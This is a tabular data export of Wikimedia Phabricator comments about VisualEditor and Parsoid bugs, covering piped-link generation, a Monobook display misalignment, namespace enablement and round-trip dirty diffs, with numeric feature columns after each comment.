Parsoid currently has code to generate simple links where necessary, but, clearly there was a bug that affected the diff you highlighted in T153107. But, in general, Parsoid does generate [[Foo]] instead of [[Foo|Foo]].",,,1481664094,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,19.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,7.0,14.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,14.0,3.7413793103448274,0.6551724137931034,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Parsoid currently has code to generate simple links where necessary, but, clearly there was a bug that affected the diff you highlighted in T153107. But, in general, Parsoid does generate [[Foo]] instead of [[Foo|Foo]]."
777171,Parsoid: Links created with VE are piped links even when linktrail could be used,"> VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?

Not HTML, but apparently editing pages with the VE creates links like 
```
[[Target|Target]]
```
in the Wikitext. I would assume that before Wikitext is saved (or delivered to the user), this is automatically cleaned to
```
[[Target]]
```
",,,1481663806,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8636363636363638,0.8181818181818182,"QUOTE

Not HTML, but apparently editing pages with the VE creates links like 
``CODE`CODE`CODE``
"
777143,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870216, @Cirdan wrote:
>>> How is it possible that the parser does not detect two identical strings as identical?
>> Your question assumes that it is looking for that. I don't know whether it is.
> 
> I just looked through what I believe to be the relevant parts of the source code, and it indeed seems that this is not how Parsoid handles this. I haven't looked at the VE implementation though. Is there no general cleanup at the end of a VE editing session?

VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?",,,1481662022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,29.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,9.0,23.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1142857142857143,0.6857142857142857,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?"
777093,Parsoid: Links created with VE are piped links even when linktrail could be used,">> How is it possible that the parser does not detect two identical strings as identical?
> Your question assumes that it is looking for that. I don't know whether it is.

I just looked through what I believe to be the relevant parts of the source code, and it indeed seems that this is not how Parsoid handles this. I haven't looked at the VE implementation though. Is there no general cleanup at the end of a VE editing session?

",,,1481658837,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,14.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,15.0,3.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,12.0,5.0,2.0,0.0,0.0,7.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8135593220338984,0.7796610169491526,"QUOTE
QUOTE

I just looked through what I believe to be the relevant parts of the source code, and it indeed seems that this is not how Parsoid handles this. I haven't looked at the VE implementation though. Is there no general cleanup at the end of a VE editing session?

"
777068,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870045, @Cirdan wrote:
> Jdforrester-WMF, thanks for merging T153107. Could you elaborate how these two are related?

They are both issues where Parsoid is apparently creating wikitext sub-optimally.

> How is it possible that the parser does not detect two identical strings as identical?

Your question assumes that it is looking for that. I don't know whether it is.",,,1481657441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,18.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,8.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0256410256410255,0.7435897435897436,"QUOTE
QUOTE

They are both issues where Parsoid is apparently creating wikitext sub-optimally.

QUOTE

Your question assumes that it is looking for that. I don't know whether it is."
777059,Parsoid: Links created with VE are piped links even when linktrail could be used,"Jdforrester-WMF, thanks for merging T153107. Could you elaborate how these two are related? How is it possible that the parser does not detect two identical strings as identical?",,,1481657102,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,15.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,9.0,9.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,4.4411764705882355,0.9117647058823529,"Jdforrester-WMF, thanks for merging T153107. Could you elaborate how these two are related? How is it possible that the parser does not detect two identical strings as identical?"
224947,Parsoid: Links created with VE are piped links even when linktrail could be used,See also Change-Id: I78c8fc87be1777f63c84f8945ead1cc54161fb76,,,1374487741,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,57.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.285714285714286,1.0,See also Change-Id: I78c8fc87be1777f63c84f8945ead1cc54161fb76
224942,Parsoid: Links created with VE are piped links even when linktrail could be used,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933998,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
224938,Parsoid: Links created with VE are piped links even when linktrail could be used,"(In reply to comment #1)
> Parsoid issue, moving to Parsoid.
> 
> Would like some input from James as to what he believes the behavior should
> be (piped links always? linktrails where possible? configurable either way?).

Canonically, linktrails should be preferred where possible (so, whenever a case-sensitive substring; except when on a $wgCapitalLinks=true, where it's a tad more complicated). I believe that linkheads should also be preferred where possible for the languages for which that applies.",,,1368771151,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,10.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,10.0,10.0,0.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,4.0,0.0,0.0,1.0,0.0,0.0,4.070422535211268,0.704225352112676,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Canonically, linktrails should be preferred where possible (so, whenever a case-sensitive substring; except when on a $wgCapitalLinks=true, where it's a tad more complicated). I believe that linkheads should also be preferred where possible for the languages for which that applies."
224934,Parsoid: Links created with VE are piped links even when linktrail could be used,"Parsoid issue, moving to Parsoid.

Would like some input from James as to what he believes the behavior should be (piped links always? linktrails where possible? configurable either way?).",,,1368770935,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,1,False,,,-7,,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,11.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,11.0,5.0,8.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,4.2368421052631575,0.868421052631579,"Parsoid issue, moving to Parsoid.

Would like some input from James as to what he believes the behavior should be (piped links always? linktrails where possible? configurable either way?)."
50432,VisualEditor: Green striped area doesn't align properly in Monobook,"When VisualEditor comes across a part of a page it can't edit, it adds a green striped area. However, VisualEditor seems to have very bad aim in Monobook. Screenshots forthcoming.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1368498360,1370362551.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-vgio4d23zmdnqxwyja3n,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,4.092592592592593,0.7037037037037037,"When VisualEditor comes across a part of a page it can't edit, it adds a green striped area. However, VisualEditor seems to have very bad aim in Monobook. Screenshots forthcoming.

--------------------------
**Version**: unspecified
**Severity**: minor"
223453,VisualEditor: Green striped area doesn't align properly in Monobook,We did a bit of a re-write of how the phantoms appear in the last push; glad this fixed it. :-),,,1370362551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,4.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.88,We did a bit of a re-write of how the phantoms appear in the last push; glad this fixed it. :-)
223449,VisualEditor: Green striped area doesn't align properly in Monobook,This appears to be fixed.,,,1370356051,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This appears to be fixed.
223443,VisualEditor: Green striped area doesn't align properly in Monobook,"Created attachment 12310
VisualEditor using the Monobook skin on mediawiki.org; incorrect behavior

https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis?useskin=monobook&veaction=edit

**Attached**: {F10761}",,,1368498533,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.461538461538462,0.8461538461538461,"Created attachment 12310
VisualEditor using the Monobook skin on mediawiki.org; incorrect behavior

URL

**Attached**: {F10761}"
223438,VisualEditor: Green striped area doesn't align properly in Monobook,"Created attachment 12309
VisualEditor using the Vector skin on mediawiki.org; correct behavior

https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis?useskin=vector&veaction=edit

**Attached**: {F10760}",,,1368498417,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.3076923076923075,0.8461538461538461,"Created attachment 12309
VisualEditor using the Vector skin on mediawiki.org; correct behavior

URL

**Attached**: {F10760}"
50430,Enable VisualEditor on all content namespaces on mediawiki.org,"Currently VisualEditor is only enabled on the user/main namespaces on mediawiki.org. It'd be nice if it were enabled on all namespaces on mediawiki.org.

Perhaps test.wikipedia.org and test2.wikipedia.org as well.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1368497580,1369075886.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_description,resolved,True,c1,1,False,False,True,-7,,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.75,0.6785714285714286,"Currently VisualEditor is only enabled on the user/main namespaces on mediawiki.org. It'd be nice if it were enabled on all namespaces on mediawiki.org.

Perhaps test.wikipedia.org and test2.wikipedia.org as well.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
223339,Enable VisualEditor on all content namespaces on mediawiki.org,Now complete.,,,1369075886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now complete.
223333,Enable VisualEditor on all content namespaces on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/63621 (Gerrit Change I1c18ff72265ed4a33c5114141d5d97301e85c2e3),,,1368499865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1c18ff72265ed4a33c5114141d5d97301e85c2e3)
50427,VisualEditor: Round-trip failures,"Bad diff from VisualEditor on mediawiki.org, 2013-05-13

Go to <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals>. Click ""edit"". VisualEditor form loads. Add a space after the sentence ""that drive editor engagement;"". Remove the space. Click ""Review and save"".

Expected behavior: a diff showing no changes at all (space was added to the end of the line and then removed).

Current behavior: see attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10742}",Medium,50.0,1368496740,1371867377.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6r6iwczgdw2x3g22idm6,task_description,resolved,True,c1,1,False,False,True,-7,,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,2.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,0.0,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.5,1.5,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,3.6282894736842106,0.6812343358395989,"Bad diff from VisualEditor on mediawiki.org, 2013-05-13

Go to <URL Click ""edit"". VisualEditor form loads. Add a space after the sentence ""that drive editor engagement;"". Remove the space. Click ""Review and save"".

Expected behavior: a diff showing no changes at all (space was added to the end of the line and then removed).

Current behavior: see attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10742}"
222917,VisualEditor: Round-trip failures,"We did a bunch of changes to avoid dirty-diffs with Parsoid; though there may be a few outstanding, I think we've got most of them licked, so closing.",,,1371867377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,2,True,,,-2,,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,3.5142857142857142,0.9142857142857143,"We did a bunch of changes to avoid dirty-diffs with Parsoid; though there may be a few outstanding, I think we've got most of them licked, so closing."
222913,VisualEditor: Round-trip failures,Seems to have been fixed since the filing of this bug. Can you still reproduce this?,,,1371865706,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9444444444444444,Seems to have been fixed since the filing of this bug. Can you still reproduce this?
222908,VisualEditor: Round-trip failures,"(In reply to comment #2)
> Are Parsoid/VisualEditor versions exposed somewhere?

[[mw:Special:Version]] :-) In general, VisualEditor is branched for production at the same time as MediaWiki core right now (so, fortnightly for the rest of this month, thereafter weekly); Parsoid is updated in production more frequently but less regularly, as it's a manual process.

> Or alternately, is there a public wiki running the most up-to-date version
> of VisualEditor?

No, I don't think so (but isn't beta meant to run master of everything?). Perhaps I should make a bug to build one in Labs.

> I really don't like wasting my time filing bugs that no longer exist. :-/

The perils of testing software that gets a dozen or so bugs fixed each week, sadly. In this particular case, I'm assuming that it's a Parsoid bug that was fixed (as I can't see anything in our git log that would suggest a VE fix changing this behaviour). Sorry!",,,1368979421,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,True,,,-7,,0.5,1.0,0.0,1.5,1.5,2.0,0.0,0.0,0.0,0.0,5.5,2.5,0.0,0.0,0.0,3.0,0.0,9.0,10.5,1.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,4.5,2.5,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.5,13.5,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.5,2.0,12.5,0.5,1.5,6.5,0.0,0.5,0.5,0.5,4.0,1.0,1.0,0.0,4.0,10.5,4.5,0.5,0.0,0.0,4.0,0.0,2.0,3.0,0.0,2.0,1.0,0.0,1.5,3.537893296853625,0.7369357045143639,"(In reply to comment #2)
QUOTE

